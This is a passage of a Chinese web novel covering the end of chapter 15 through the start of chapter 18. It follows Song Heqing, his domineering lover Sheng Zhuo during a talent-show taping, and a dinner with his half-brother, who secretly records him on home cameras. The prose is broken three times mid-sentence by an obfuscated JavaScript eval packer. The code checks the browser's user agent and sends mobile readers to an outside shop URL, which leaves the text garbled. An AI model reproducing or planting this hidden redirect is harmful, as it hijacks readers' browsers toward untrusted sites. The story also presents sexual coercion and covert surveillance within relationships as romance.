几番亲吻下,宋鹤清已经有点腿软站不直,不得不伸手扶住盛灼的手臂。 忽然盛灼一把将他带到化妆镜前,迫使他看向镜中的自己,像个恶魔一样在他耳边低语:“看看你自己。除了我对你有性/趣外,还有谁会对一个三十几岁的老男人有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17528786|203639||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 性/趣?你该感谢我十年如一日不厌其烦地上你,满足你那见不得人的性/瘾。” 他捏着他下巴摩挲,力道大得几乎要留下指印:“你该感到幸运,也该珍惜。别让我发现你再跟其他男人聊/骚,否则后果很严重。” 宋鹤清看着镜子里的自己,再看向旁边的盛灼。 跟盛灼比起来,他们确实有着云泥之别。他是泥,盛灼是云,高高在上的云。 他要怎么告诉盛灼,他不是有性/瘾,而是只有通过身体亲密接触,才能感受到被爱的感觉。所以他才会天天想和盛灼做最亲密的事。 下一秒,盛灼再次猛地吻住他,将他禁锢在怀里强势亲吻,力道大得好似要将他吃拆入腹。 “别、别……”宋鹤清在喘息间隙从齿缝里流出几个字。 他害怕有人会突然敲门,害怕隔音不好被外面的人听见,害怕两人的禁忌关系会被人发现。 但盛灼却以为他在排斥自己。眼神顿时变得凶利,微微眯起危险的弧度。随后他不由分说地把宋鹤清拦腰抱起,大步走进浴室,反手锁门。 “阿灼……别……”宋鹤清被按在冰冷的门上,乞求着。浴室的空间狭小,回声让每一个细小的声音都被放大。 但盛灼却丝毫没有要停下的意思,反而因为他的乞求而更加兴奋。 很快浴室里响起了旖旎的令人脸红心跳的声音。 宋鹤清非常害怕,他一直死死咬住嘴唇,努力压制声音,害怕被听见。 两个小时的午间休息时间结束。 录制现场再次开机,工作人员各就各位,其余四位导师也就位了。 但盛灼却还没出来。导演让工作人员去请。 工作人员小心翼翼地敲门,却没有听见什么动静。过了几分钟后,房门才被打开。 盛灼面无表情走出房间,还是那副冷酷的模样,即使工作人员就在眼前,也没有低眸看一眼,目中无人极了。 双手插兜大步流星上台,仿佛刚才什么事都没有发生。 工作人员松了一口气,还以为盛灼会耍大牌不录制下午的节目呢。 他又扫视了一圈室内,没有看到宋助理,应该是在浴室上厕所。旋即轻轻关上门。 浴室内,宋鹤清站在盥洗台的镜子前,整理自己的衣服,检查是否有哪里不得体。 镜中的他,白皙脸庞上的潮红还未褪去,给那张清冷的俊脸增添了几分媚态。他拉高领子,遮住吻痕。 打开水龙头,用冷水一遍遍拍打自己的脸,试图快速恢复正常。 冷水刺激得皮肤冰爽,但也成功掩盖了之前的潮红。 到现在他都还没从胆战心惊中缓过来。 双腿依然还有点发软,等缓和了才出去。 16. 第16章 【第16章】: 《奇迹之声》第一阶段的录制结束。 节目一经播出,热度如同燎原之火,将这款综艺推上了国内综艺排行榜的榜首。 网络上关于导师、学员、赛制的讨论沸反盈天,每一个细节都被放大了咀嚼,衍生出无数话题。 并且那些成功进入导师战队的学员们,仿佛一夜之间被点石成金,社交媒体上的粉丝数蹿升,突破百万者不在少数。 这其中话题量最多的学员是郑南星。 因为他是盛灼第一个选中的学员,并且还有着盛灼亲笔写的曲谱,加之他演唱的原创歌曲令人耳目一新。 目前郑南星的风头一时无两。 他的粉丝数也最高,一路飙升到了一百五十万以上。 在无数网友的看好与追捧中,他已被贴上“下一个明日之星”的标签,前途可以说是一片光明。 第一期播出完以后,吊足了广大网友胃口。无比期待接下来激烈的竞争,残酷的淘汰机制,各位导师的针锋相对。天天在《奇迹之声》的官方账号下催更。 - 这天下午,练习室内。 盛灼刚结束了对队内学员们近两个小时的声乐指导。 随后他示意宋鹤清把写好的曲子交给郑南星。并说:“下周二录制结束后,在三楼录音棚练习合唱。” 他的语气平淡又随意,听不出太多情绪,但这特殊的安排无声地暗示着郑南星是他盛灼重点栽培的对象。 其他学员隐隐露出了羡慕嫉妒的神情。 郑南星的眼睛瞬间亮起来,接过宋鹤清递过来的乐谱。看都没仔细看就雀跃地跳了起来。笑容很是刺眼,欢喜地说:“谢谢盛老师!我一定好好练习!” 盛灼和宋鹤清离开练习室后。其他学员们脸上的表情变得微妙起来。 有几个学员勉强扯出笑容,说着“南星运气真好”、“恭喜啊”之类的客套话,眼神却不由自主地黏在那份被郑南星抱在胸前的乐谱上。 真想看看乐谱上的内容啊。 但另外几位学员脸上毫不掩饰地露出了鄙夷和不屑。他们心照不宣地交换了一下眼神,无声地传达着内心的不满。 大家都在为即将开始的战队晋级赛而担心去留,郑南星却好像拿到了免死金牌一样毫不担心会输。 在好奇心的驱使下,有几个学员忍不住围拢过去,想看看盛灼写的曲谱。 “南星,给我们瞻仰一下盛老师的大作呗?” “对啊,就看一眼,学习学习!” “反正我们看了也不能唱,毕竟这是给你的嘛。” 郑南星却迅速将乐谱折好揣进外套口袋里,很是防备的样子。还露出炫耀的笑容,语气天真又残忍:“这可不行,这是机密。大家别急嘛,等歌曲正式发布那天,你们就能听到了。” 他这话说得轻巧,却像刺一样扎在那些心理本就失衡的人心里。 有学员冷哼一声转身离开,不屑再看他这副得意的样子。 - 京市的冬夜寒意浸骨。 希尔顿总统套房内却温暖如春,与窗外的寒冷隔绝成两个世界。 浴室圆形浴缸里,水汽氤氲,模糊了落地窗。 盛灼浸泡在温暖的水中,慵懒地闭着眼,舒缓着连日工作的疲惫。 宋鹤清正按着盛灼头部的穴位。他的动作娴熟而专注。水珠偶尔顺着盛灼被打湿的发梢滑落,滴在宋鹤清的手背上,带来细微的凉意。 安静的氛围里,只有水流轻缓波动的声音。 宋鹤清斟酌了片刻,还是开了口,声音比平时更柔和几分,带着一丝试探:“阿灼,大哥知道我来京市了,想约我见面吃个饭。” 大哥,就是那位同父异母的兄长宋桦。 虽然宋桦厌恶容曼仪,但却对他这个同父异母的弟弟还算不错,始终是有感情的。 毕竟在同一屋檐下相处十五年。那十五年他在大哥面前一直很乖顺,从不跟大哥争抢,两人相处维持着一种微妙的平衡与和谐。 宋桦没有继承父亲的钢材生意。而是在法律界闯出了自己的一片天。 他大学学的法律专业,在校期间就是风云人物,参加过不少公益诉讼,口碑很好。 毕业后几经辗转,最终在京市扎根,创办了如今知名的“桦清律师事务所”,麾下精英云集。 平时工作很繁忙,两兄弟除了过年时能看到,平时没其他见面的机会。 只是过节或者过生日时,会互相打电话询问对方近况,关心对方。 今年六月份时,宋桦过生日,宋鹤清在他生日当天打去电话,问工作近况,问身体是否安康,问是否找到对象云云…… 那天宋桦跟他一直聊到了深夜。 想来这些年大哥过得虽然风光,但也辛苦。 京市这片名利场,水深浪急。想要出头并非易事。好几场官司打赢后,甚至遭遇过性命威胁。 虽然挣的钱几辈子都花不完,但还是想过平静的日子。 这次宋鹤清难得来到京市,有机会能去见见大哥,他心里也是很期待的。 手指按\摩的动作不自觉地放缓,等待着盛灼的回应。 盛灼依旧闭着眼,浓长的睫毛在氤氲中染上一层水汽。脑海回想起与宋桦仅有的几次照面。 那个男人看他的眼神很锐利,还有一种毫不掩饰的厌恶与不满。 这种厌恶与不满来得莫名其妙。 盛灼心中嗤笑一声。 他看不惯的人很多,宋桦绝对算一个。 盛灼终于开口:“吃完饭就回来。明天录完歌我要在房间看到你。”语气带着不容拒绝的掌控感。 宋鹤清悬着的心落下,手指重新注入力度,轻声应道:“好的。” - 次日傍晚,宋鹤清换上驼色高领毛衣,外面套了件黑色羽绒服,一条柔软的白色羊毛围巾将他大半张脸遮住,只露出一双清透的桃花眼和光洁的额头。 京市的北风如刀,呼啸着刮过街道,带着干冷的刺痛感。 即便宋鹤清穿得很厚实,但在走出酒店的瞬间,刺骨的寒风还是吹得他瑟瑟发抖。 等到了宋桦居住的高档小区楼下时,他的眼睛和鼻尖都冻得通红。 坐电梯上楼,他按了门铃没几秒宋桦就开门了。 宋桦穿着居家的灰色羊绒衫,身姿挺拔,气质沉稳内敛。 他见到宋鹤清这副模样,眉头蹙起:“该提醒你戴个帽子和口罩的。” “没事的大哥,一会儿就暖和了。”宋鹤清笑着进门,一进门就感受到了充足的暖气,舒服多了。 他正弯腰换鞋。忽然温暖宽厚的手掌覆上他冻得有些僵直的手,轻轻搓揉着,试图将热度传递过去。 “手都冻僵了。”宋桦的语气带着责备,更多的是心疼。 宋鹤清微微一怔,但很快被那久违的属于亲人的温暖所包裹。他任由宋桦拉着走进宽敞明亮的客厅。 这是他第一次来宋桦在京市的家。 是一套面积超过两百平的大平层,低调奢华的现代风格,视野极佳,巨大的落地窗可以俯瞰城市璀璨的夜景。 能在京市买到这种地段的房子,足以证明宋桦如今的身份与地位。 宋鹤清坐在柔软的真皮沙发上,接过宋桦递来的热水杯,双手捧着,那暖意从掌心一路蔓延至全身,连冻僵的脚趾都开始暖和起来。 “你先坐着歇会儿,菜马上就好。”宋桦说着,重新系上那条深蓝色的围裙,转身进了开放式厨房。 宋鹤清喝了几口热水,解下围巾,也跟了过去。 很快,空气中弥漫着熟悉的香气——番茄炖牛腩。 那是记忆深处属于“家”的味道。 记得小时候家里阿姨请假时,都是大哥在厨房做饭。 他最爱吃的就是大哥做的这道番茄牛腩。 自从进入盛家后,这些年也只有在过年团聚时才能尝到这道菜。此时竟然无比期待。 宋桦见他站得有点远,但眼睛却一眨不眨地看着咕嘟咕嘟冒着热气的炖锅,一副很是期待的样子,不由莞尔一笑。 他用筷子夹起一块炖得软烂的牛腩,轻轻地吹了吹,递到宋鹤清嘴边:“尝尝,看味道够了没有?” 这个自然而亲昵的动作让宋鹤清心头一暖。顺从地张口吃下,细细咀嚼着。 牛肉的鲜香与番茄的酸甜完美融合,熟悉的味道唤醒了无数温暖的回忆。 他低声说:“嗯,好了,和以前一样好吃。” 宋桦脸上的笑容更深:“那去洗手,准备吃饭。” “好。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17528787|203639||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>四菜一汤很快上桌,色泽诱人,香气扑鼻,在明亮的灯光下有着家的温馨。 兄弟二人相对而坐,气氛融洽。 宋鹤清的厨艺还是宋桦教的呢,小时候宋桦总给他做饭,后来他长大了一些,就想着学做饭给大哥吃,所以就让宋桦教他做饭。 宋桦给他夹了一筷子青菜,状似随意地问:“这次来京市是出差?” 宋鹤清动作微顿,咽下口中的食物,才含糊道:“额……算是吧。” “什么叫‘算是’?没在盛鼎集团了?”宋桦抬眸看他,目光敏锐。 宋鹤清解释道:“阿灼来京市录综艺,他原来的助理家里有急事,临时让我过来顶替一段时间。盛鼎那边的工作,暂时交给副总负责了。” 话音刚落,宋桦原本温和的神情沉了下去。 饭厅里的氛围也随之凝滞。 宋桦沉着脸的时候给人一种极强的压迫感。不过语气还尚算平和:“你太纵容他了。我们至少还有血缘关系,你跟他哪有什么血缘可言。你对他掏心掏肺,事事以他为先,他呢?懂感恩吗?可曾珍惜?” “大哥……” 宋鹤清下意识想为盛灼辩解,却一时语塞。 感恩? 珍惜? 这些词汇从不在盛灼对他的态度里,倒是他对盛灼的态度如此。 但他不想让大哥知道自己是如此的卑微。 “罢了,”宋桦不想让这个话题破坏他们兄弟之间难得的相处,给宋鹤清夹了一个红烧狮子头,“不提他,影响胃口。吃饭。” 宋鹤清心下松了口气,也连忙给宋桦夹了一块牛腩,转移话题道:“那说说大哥你吧。最近有遇到合心意的姑娘吗?我这大嫂可是盼星星盼月亮,盼了这么多年都没个影子。” 宋桦闻言轻笑一声,那笑意却未达眼底:“没有。要不你给大哥介绍一个。” “我连大哥的理想型都不知道。再说,我可没当过红娘,怕牵错了线,耽误了大哥。”宋鹤清笑着摇头。 宋桦凝视着他,目光深沉。沉默了片刻才缓缓道:“你自己不也三十出头了,连场正经恋爱都没谈过。至少我大学时候还交往过女朋友。” 宋鹤清咀嚼的动作慢了下来。 恋爱? 他的人生轨迹从二十三岁那年起,就与盛灼紧紧缠绕。 十年,快十年了,他们做了快十年的床伴。 如果他告诉宋桦,他和盛灼之间这见不得人的关系,会有什么反应? 是会震惊失色,还是会怒不可遏,骂他糊涂,骂他荒唐,还是自甘堕落? 他不敢想象,只能将所有的秘密混着食物,一起吞咽入腹,埋藏起来。 宋桦见他沉默,也不再追问。 他本就不愿多谈自己的感情问题,是宋鹤清先提起的。 既然两人都不想提这个话题,那他就换个话题:“今年过年,有什么打算?在哪儿过?” “今年……”宋鹤清迟疑了。翻过这个年,他和盛灼,就在一起整整十年了。 十年对他而言,是一个沉重而具有特殊意义的数字。 他内心是渴望能和盛灼一起度过这个具有里程碑意义的数字的。 哪怕盛灼可能根本不在意。 宋桦见他犹豫,忍不住提醒:“去年你年三十就没回家,只是初二才来吃了顿午饭。爸嘴上不说,心里一直惦记着你。他希望今年你能回家一起跨年。” 宋鹤清抿了抿唇。 父亲年事已高,大哥的话也在理。 十周年……并非一定要在除夕那天庆祝吧。 他最终点了点头:“好,那我今年回家过年。” 宋鹤清吃完一碗饭,起身去盛第二碗。 就在他转身离开餐桌后,他放在桌面上的手机屏幕忽然亮起,震动起来。来电显示清晰地跳动着两个字:阿灼 宋桦的目光落在那个名字上,眼神瞬间沉冷得骇人。 他伸手挂断了电话。随即将其调至静音模式。 当宋鹤清端着盛好的饭回到餐桌时,看到的是宋桦神色如常地为他舀了一碗汤。 “多喝点汤,暖和。” “谢谢大哥。” 窗外的寒风依旧呼啸,室内的晚餐在温馨的氛围中继续。不断打来的电话都被静音无视了。 17. 第17章 【第17章】: 饭后,两人并肩站在洗碗槽前,一个冲洗,一个擦拭,默契无声。 碗筷碰撞出清脆的声响,空气里弥漫着洗洁精淡淡的清香。 很快洗碗结束了,温馨的时光总是短暂的。 宋鹤清擦干手,无意间看了一眼墙上的电子钟,竟然已经超出盛灼规定的时间了。 心里一紧,快速地穿上黑色羽绒服。 他动作有些急,一边系着围巾一边对宋桦说:“大哥,时间不早了,我得回去了。过年见。” 宋桦倚在流理台边,深沉的目光落在他匆忙的身影上,沉默了几秒,才缓缓开口,声音有些暗哑:“小清,我感觉身体有些不适,你能帮我看看吗?” 宋鹤清系围巾的手一顿,快步走到宋桦身边,关切问道:“大哥身体有哪些地方不适?” “有时会心悸,还伴随心慌,经常失眠多梦,食欲不振,并且……性/欲淡漠。”宋桦。 宋鹤清明显怔了一下。 随后他将刚刚穿上的外套重新脱下,神情变得严肃而专业:“症状持续多久了?” “记不清了。”宋桦回答得模糊。 “我给你看看。” 两人坐到柔软的沙发上。 宋鹤清先是示意宋桦张口,仔细观察他的舌苔,说:“舌质淡,苔薄白,”接着他伸出三指,轻轻搭在宋桦腕间的寸关尺上,凝神把脉,而后说,“脉细弱。” 宋桦一直非常配合,目光沉静地落在宋鹤清专注的侧脸上。 屋内很安静,落地窗外城市的霓虹成了无声的背景板,两人仿佛能听到彼此平静的呼吸声。 良久,宋鹤清收回手,有点担忧:“大哥,你这是典型的心脾两虚。应该是你工作压力太大,平时思虑过度,劳心伤脾,导致心血耗伤,脾气虚弱。因为气血不足,所以无法养心神滋肾\精,才会导致失眠心悸,食欲不振,以至……性/欲淡漠。你应该也没时间去医院好好看看吧?” “嗯,太忙,”宋桦从善如流地应道,“怎么治疗呢?” “对症的话,可以去医院找中医开归脾汤。配合针灸效果会更好。当然,如果你觉得麻烦,开点西药镇静安神、补充维生素也可以,治标快,但可能治本慢。看你自己的想法。”宋鹤清给出了专业的建议。 宋桦看着他眼睛:“既然你今天来了,不如先给我按一下穴位吧。等过段时间有空了我再去医院。” 宋鹤清犹豫了。手指无意识地蜷缩了一下。 他担心自己回去晚了盛灼会发脾气。但又担心如果今天不给大哥治疗,那大哥不知道什么时候才有空去医院看病。 他无法硬起心肠拒绝大哥。毕竟将来父母去世,大哥就是唯一和他有血缘关系的亲人。 大哥的身体要紧,自己回去挨顿骂,受点惩罚,又算得了什么。 “好。” 他让宋桦先撩起家居服的袖子,露出小臂,找到腕横纹尺侧端的凹陷,用拇指指腹稳稳按下:“这里是神门穴,宁心安神,专门调理失眠和心悸。按的时候要感觉到酸麻胀才行,每次按3分钟左右,每天两次。现在有感觉到吗?” “嗯。”宋桦低应一声。 “大哥平时工作间隙也可以自己按一下,很方便。” “好,你教我,我记得住。” 接下来是内关穴,在前臂掌侧。宋鹤清一边按压一边解释:“这是内关,保护心脏调节心情的要穴。” 再之后,就需要宋桦脱掉上衣,露出背部。 那背部肌肉线条流畅,充满力量感。应该是经常健身的效果。 宋桦趴在沙发上。宋鹤清蹲在沙发侧面,手指依次在他背部点按。 “这是肾俞,培补元气……这是肝俞,疏肝解郁……这是心俞,宁心安神……”他的手指带着力度,精准地落在各个穴位上,神情认真,心无旁骛。 宋桦一直沉默着,感受着那指腹带来的细微电流般的触感,只有在宋鹤清询问“有酸麻胀的感觉吗?”时,才会从喉间发出一声又轻又压抑的“嗯”。 最后是胸腹部的穴位。 宋桦翻身,平躺在沙发上。 这个姿势让他健硕的躯体毫无保留地展现在宋鹤清眼前。 宋鹤清心无旁骛,指腹落在宋桦脐下两指处,轻轻按压:“这是气海穴,益气助阳,增强元气。我按得有感觉吗大哥?” 宋桦沉默了几秒后才“嗯”了一声,嗓音比刚才更加低哑,带着紧绷感。 宋鹤清继续叮嘱:“大哥每天睡觉前也可以自己按一下。” 他目光不经意间下移,却猛地顿住,他看到宋桦有了反应! 空气仿佛在这一刻凝固了。 刚才专业而严肃的治疗氛围被瞬间打破。 宋鹤清内心慌乱,但强自镇定地拿起沙发上的一个抱枕,动作略显仓促地盖在了那尴尬的地方。 他深吸一口气,清了清喉咙,道:“这……这是正常反应,说明大哥你的身体底子好。经络敏感,气血开始流通了。只要坚持按揉这些穴位,再配合良好的生活作息,身体很快就能恢复的。” 说完,他有些慌乱地将手指移动到下一个穴位:脐下三寸的关元穴。 “这是关元穴,人体元气的根本,尤其善于调理……生\殖系统问题。”他尽量让语气平稳。 宋桦的目光倏然落在他微颤的睫毛上,眼眸深沉如海。 宋鹤清垂着眸,努力寻找着话题打破尴尬:“难怪……难怪大哥一直没找女朋友,原来是身体有恙。不过这都是小问题,只要把手头工作放一放,多休息,身体轻松了,很快就能好的。到时候也能早点给我找个嫂子。” 宋桦没有接他这个话茬,反而抛出了另一个问题,声音平稳却带着重量:“小清,你当初为什么要弃医从商?我记得你一直很喜欢中医学,小时候你还说梦想是长大要当中医救死扶伤。” 宋鹤清的身体几不可察地僵硬了一下。 他视线落在自己的手上,那手曾经握惯了银针中药,现在却只与文件报表打交道。做着他不喜欢但又不得不做的工作。 宋鹤清唇角牵起一个极淡又极其勉强的微笑,沉默了半晌,才回答:“……人总会变的,我也想尝试一下其他职业。” 这个理由苍白得连他自己都说服不了。 宋桦显然不信,但他没有再追问。 所有穴位按揉完毕,宋鹤清暗暗松了口气。 宋桦从容地坐起身,重新穿上那件灰色羊绒衫,动作慢条斯理,仿佛刚才那尴尬的插曲从未发生。 他语气如常:“辛苦你了小清,去洗个手,早点回去吧。” “好,那大哥你多保重身体,我先走了,过年见。”宋鹤清洗完手快速穿上羽绒服,戴上围巾,穿鞋离开。 门“咔哒”一声轻响关上。 偌大而明亮的客厅里,只剩下宋桦一人。 方才的热气与活人气息仿佛瞬间被抽空,只剩下死寂般的安静。 他并没有立刻起身,而是沉默地坐在沙发上,手肘搁在膝盖上,微微低着头,像是在沉思,又像是在等待。 等待着身体里那不受控制的躁动慢慢平息下去。 良久,那处不合时宜的突起终于恢复如常。 宋桦这才拿起手机解锁,点开客厅监控的APP。调出从宋鹤清进门开始直到离开的完整录像。 他没有快进,一分一秒也不想错过,坐在那里一动不动专注地观看着。 目光凝在屏幕里那张清俊漂亮的脸上有些失神,看着对方吃饭时的开心,询问病情时关切的神情,为他治疗时专注的侧影,以及按压穴位时微微蹙起的眉头…… 看完一遍后,他将这段视频完整地下载到了手机相册的私密空间中,以便随时拿出来,反复回味这短暂的相聚时光,足以慰藉漫长的思念。 - 宋鹤清迎着冬夜刺骨的寒风狂奔出小区。 冷风像刀子一样刮在脸上。他站在街边挥手拦下一辆出租车赶往酒店。 坐上车后才终于有空隙看手机。 屏幕亮起的瞬间,他的心跳几乎骤停,看见三十多个未接来电,全部都是盛灼打的。 怎么会这么多? 他一次也没听见。 宋鹤清心惊肉跳,这才发现手机不知什么时候被调成了静音模式。 他没有接电话,盛灼肯定非常非常非常生气。 宋鹤清心里忐忑不安,看了看窗外疾驰而过的街景,巴不得再快一点,马上就到盛灼身边。 他颤抖着手指想回拨过去,却又胆怯地放下。 还是……还是当面解释吧。 出租车终于在希尔顿酒店门口停下,宋鹤清冲进电 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17528788|203639||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 梯,看着不断跳升的数字,心也提到了嗓子眼。 “叮——”电梯门开。 他深吸一口气,走到总统套房门口,刚用房卡刷开门打开一条门缝,就听到里面传来“砰”的一声脆响,是什么东西被狠狠砸碎的声音。 他的心猛地一沉,推门而入。 地上是玻璃碎片和一滩水渍,几支娇艳的玫瑰可怜地躺在碎片中,花瓣零落。 盛灼背对着他站在客厅中央,高大的身形矗立着,全身散发着骇人的怒意。 盛灼转过身,那张冷酷的脸上此刻阴云密布,声音像淬了冰:“你还知道回来?!” “阿灼,我……” “你把我的话当耳边风?!”盛灼打断他,大步走过来,强大的压迫感让宋鹤清不由自主地后退了一步,脊背抵在了冰冷的门板上。 “跟你大哥吃饭需要这么久吗?什么菜啊?国宴吗?需要吃一口回味一下吗?!” “不、不是的……” “我回来后等了你两个小时!”盛灼伸出两根手指,几乎要戳到宋鹤清的眼睛,“给你打了三十通电话,你一个也没接!宋鹤清,你在干什么?你们到底在干什么?!” “我、我在给大哥按穴位,他、他身体出了问题,所以我……”宋鹤清急切地解释着,声音因为紧张而有些结巴。 “按穴位?!”盛灼听了怒极反笑。 他一把将宋鹤清按在门上,另一只手粗暴地扯开他的围巾,再扯开羽绒服外套和里面的毛衣领子,犀利的目光像探照灯一样扫过他的脖颈和锁骨,检查着什么。 然而除了被他自己粗暴动作弄出的红痕,什么也没有。 盛灼掐住宋鹤清的下巴迫使他抬头看自己:“你迟到了两个小时,今晚我要操\你四个小时!翻倍惩罚。” 说完他低头狠狠吻住了宋鹤清的唇。 这不是亲吻,是惩罚。像个凶狠的恶狼,肆意欺辱着身下颤抖的羊羔。 “咚咚咚。”房门在此时突然被敲响了。 激烈纠缠的两人动作同时一顿。 “咚咚咚。”房门再次被敲响,带着不达目的不罢休的执拗。 盛灼本就处于盛怒的边缘,此刻被打断,怒火更是直冲头顶。 他松开宋鹤清,粗暴地抹了一下自己的嘴唇,猛地一把打开了房门。看到来人是自己战队的学员之一“肖柳意”。 她显然是精心打扮过,一身淡蓝色的紧身连衣裙勾勒出姣好的曲线,脸上化着精致妆容,粉嫩的口红让她看起来娇俏可人。 即使脚上踩着十厘米的“恨天高”,她依然需要仰视一米八七的盛灼才能对上目光。 只是她被盛灼这冷冽得几乎要杀死人的眼神吓得有些腿软。原本的甜美微笑僵在了脸上。 “说!”盛灼居高临下看着她,没有一丝耐心。 肖柳意吓得一哆嗦,准备好的说辞忘得一干二净,语无伦次地道:“盛、盛老师,我……我有……我想,就是那个歌,我想请教您一下……” 门后的宋鹤清在听到敲门声时就已经迅速整理好衣服,小心翼翼站在门口,生怕被门外的人发现自己的存在。 听到那女学员口中所谓的“请教”,他心下顿时了然。 在这个时间点,以这种方式来“请教”,其真实目的不言而喻,无非是想借着潜规则,在这次竞争激烈的战队淘汰赛中换取晋级的筹码。 身处娱乐圈中心的盛灼,又怎会不懂这拙劣的伎俩。 “请教?”盛灼从鼻腔里发出一声讥诮的冷笑,仿佛听到了什么可笑的事情。 本想把她嘲讽走,但忽然想到了一个坏点子,语气转变成诡异的“和善”,说道:“行,进来吧。” 肖柳意的心脏因为这意外的顺利而狂跳不止,几乎要冲破胸腔。 她早就听说盛灼出身豪门,眼高于顶,对身边投怀送抱的各色美女不屑一顾,还以为他真是娱乐圈罕见的清流。所以来之前做好了被拒绝的准备。 没想到,原来只是人设而已! 男人嘛,终究是下半/身动物,面对送上门的漂亮女人哪有不睡的道理。 看,这不就轻易让自己进去了! 她按捺住内心的狂喜和即将得逞的得意,抬头挺胸迈步走进这间豪华的总统套房。 然而,在看到门后的宋鹤清时,吓得惊叫了一声。 18.第18章 【第18章】: 总统套房装潢奢华的客厅内,水晶吊灯散发着华美的光辉,映照着地面的一地狼藉。 肖柳意万万没想到盛灼的套房里还会有别人。 她本就做着见不得人的事,却被第三人看见,此刻大脑一片空白。 旋即脸颊“腾”地一下烧了起来,无措又慌乱地站在原地,不知如何是好。 那一瞬间她有想走的冲动,但又想到这是盛灼的哥哥,应该不会把这些上不得台面的事说出去。便又留了下来。 盛灼坐在客厅昂贵的真皮沙发上,翘起二郎腿,一手搭在沙发扶手上,一手支着下巴。 骨节分明的修长手指有一下没一下地轻点着扶手,每一个细微的动作都透着一股漫不经心的雍容华贵。却又带着一种迫人的气场。 那张被誉为“神颜”的俊脸唇角勾起一抹弧度,眼里没有温度,只有看蝼蚁般的讥讽兴趣。 “哪里需要指导,唱吧。”他挑了挑剑眉。 肖柳意此刻觉得浑身发毛,喉咙像被一只无形的手扼住,一个音节也发不出来。 她僵硬地站在原地,冷汗沿着背脊滑落。内心极度忐忑和紧张。 她看不透盛灼的意图,到底是真的让她唱,还是在戏弄她。 脚下那双特意穿上的细高跟鞋此刻像是刑具,疼痛从脚底蔓延至小腿,小腿肚肌肉疼得痉挛,提醒着她此刻的狼狈。 宋鹤清不忍看到一个姑娘这么狼狈又无措地站着那里,忍不住开口说情:“阿灼,时间不早了,肖小姐……” “让你说话了吗?”盛灼懒懒地撩起眼皮,觑了宋鹤清一眼。眼里带着不容置喙的警告。 盛灼的视线重新回到肖柳意身上,狭长眼眸流转,眼神犀利得像是手术刀,精准地剖开她所有的伪装:“怎么?唱不出来?”他挑眉,更添几分邪气,“还是说你这‘请教’只想唱给我一个人‘听’?” 那“听”字,被他咬得极重,充满了嘲讽意味。 “我……我……”肖柳意呼吸都变得困难起来。结结巴巴说不出完整的话。她觉得难堪至极,恨不得立刻钻进地底。 盛灼忽然莞尔一笑,那笑容极其好看,却也极其残忍,宛如恶魔在挥下斩刀前,最后一丝伪善的怜悯:“哦,我明白了,”他拖长了语调,恍然大悟般,“你不是来请教的。你是来爬床的。” “爬床”两个字如同惊雷,在安静的套房里炸响。 肖柳意感觉自己被扇了耳光,脸上出现羞耻到极致的潮红。 她的尊严被彻底踩在了脚下,碾得粉碎。像蝼蚁一样卑微。 尤其是在第三个人面前被这样直白地戳穿,那种羞耻感几乎让她晕厥。 宋鹤清真的看不下去了:“阿灼……” 盛灼再次打断他,用一种更侮辱人的语气对肖柳意说道:“爬一个人的床也是爬,爬两个人的床也是爬。我哥也不是外人。不如你先把他伺候爽了,让我看看你的‘技术’如何?” 瞬间肖柳意的脸色煞白如纸。 她瞪大双眼,难以置信地看着盛灼,怎么能……怎么能说出如此不堪的话? 这人简直像个从地狱深处爬出来的恶魔,以践踏他人的尊严为乐! 肖柳意的身体因极度恐惧而不受控制地颤抖。 “怎么?怕了?看来想晋级的决心不是很强烈啊。至少没有强烈到能够战胜自尊心。”盛灼继续无情地在她的灵魂上鞭挞。 宋鹤清的脸色也彻底沉了下来,他上前一步,想要安抚肖柳意。 可他刚一动,肖柳意就如同受惊的兔子般猛地向后缩去,眼中充满了惊恐。 宋鹤清脚步一顿,停下动作,尽量让自己的声音听起来温和无害:“肖姑娘,别怕。你快回去吧。你的音乐底子很好,只要勤加练习,凭实力一样可以晋级。即便这次不行,未来的路还很长,你有才华,总能找到其他机会实现梦想。不要因为一时糊涂走错了路,毁了自己。” 盛灼后背靠在沙发上,饶有兴致地看着宋鹤清那无处安放的“慈悲心肠”,嘴角的讥讽越发明显。 肖柳意没想到他会安抚自己。此时双手死死地攥紧拳头,眼泪汹涌而出,滑过化着精致妆容的脸颊,无声地滴落在地上消失不见。 她抬起泪眼深深地看了宋鹤清一眼,眼里情绪复杂,更多的是无地自容的羞愧。 然后她再也无法忍受下去,猛地转身仓惶地冲出了套房。 房门关上,套房里再次陷入了死寂。 空气中弥漫着无形的压力。 宋鹤清站在原地,背影透着疲惫。 良久,传来一声极其清晰的嗤笑,打破了这令人窒息的沉默。 